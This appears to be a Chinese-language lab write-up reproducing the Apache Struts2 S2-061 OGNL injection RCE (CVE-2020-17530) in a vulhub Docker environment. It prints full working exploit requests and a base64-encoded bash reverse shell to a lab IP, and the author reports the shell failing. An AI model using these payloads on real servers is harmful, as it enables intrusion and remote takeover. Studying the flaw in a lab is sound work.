0x01 前言
Apache Struts2框架是一個用於開發Java EE網絡應用程序的Web框架。Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達式注入漏洞,從而造成遠程代碼執行,風險極大。
0x02 漏洞描述
Struts2 會對某些標簽屬性(比如 `id`,其他屬性有待尋找) 的屬性值進行二次表達式解析,因此當這些標簽屬性中使用了 `%{x}` 且 `x` 的值用戶可控時,用戶再傳入一個 `%{payload}` 即可造成OGNL表達式執行。S2-061是對S2-059沙盒進行的繞過。
0x03 漏洞回顯POC(id為執行的命令)
name="id"中的id為攜帶的參數(為默認參數),arglist.add("id")中的id為執行的命令
POST /index.action HTTP/1.1
Host: 192.168.233.140:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
0x04 漏洞影響版本
struts 2.0.0 - struts 2.5.25
0x05 漏洞環境搭建
GitHub地址:https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
使用Docker搭建漏洞環境:
1.使用git下載全部項目地址(至於下載單個漏洞環境、我不會)
git clone https://github.com/vulhub/vulhub.git

2.找到漏洞搭建的環境(vulhub是你用git下載的目錄)
cd ./vulhub/struts2/s2-061

3.執行docker-compose up -d命令
docker-compose up -d

如果沒有docker-compose up -d命令請手動安裝(需要python3 這個沒有的化也需要單獨安裝哦,以下為CentOS7命令)
#安裝python3
yum install python3
# 安裝pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安裝compose
pip install docker-compose
如果沒有docker環境使用以下命令安裝(以下命令為Ubuntu系統,ContOS可使用yum直接安裝)
# 安裝最新版docker
curl -s https://get.docker.com/ | sh
# 啟動docker服務
systemctl start docker
4.驗證安裝
執行docker ps命令,docker環境正常,並且
docker ps

訪問http://
至此,漏洞環境搭建完成
0x06 漏洞驗證
1.刷新頁面,抓取請求包,將抓到發到Repeater模塊進行測試

2.將請求參數更改為POC內容,進行測試

3.嘗試使用bash進行反彈shell
將命令進行編碼轉換 網址:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.233.130/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

POC:
POST /index.action HTTP/1.1
Host: 192.168.233.140:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
不知道為啥一直沒反應,希望大佬指點一下

不過看其他文章都是沒問題的
0x07 結束語
不知道為森么,ping dnslog也是沒有ping通,可能是有地方出問題了,菜鳥一枚,勿噴(發現問題請指點)
0x08 參考連接
https://www.cnblogs.com/backlion/p/14122528.html
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
